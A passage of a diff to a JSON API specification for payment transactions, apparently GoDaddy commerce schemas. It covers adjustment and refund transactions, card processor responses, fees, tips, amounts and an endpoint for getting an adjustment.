"https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents Adjustment transaction against a payment", + "properties": { + "newAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } + }, + "required": [ + "amount", + "type" ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, "properties": { - "processorType": { + "feeType": { + "description": "Fee type discriminator", "type": "string" } }, "required": [ - "processorType" - ] + "feeType" + ], + "title": "Fee", + "type": "object" }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } + "type": "array" }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents refund transaction against a payment", - "properties": { - "alternateFundingSource": { - "description": "Alternate funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + } + }, + "required": [ + "newAmount" + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getAdjustmentById", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}", + "summary": "Get Adjustment", + "description": "Retrieve the information of the adjustment by the transaction ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + }, + "200": { + "description": "Adjustment Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } - } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "interacMacKSN": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "description": "Interac mac key serial number for canada based cards" + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } }, "required": [ - "interacMac", - "interacMacKSN" - ] + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + 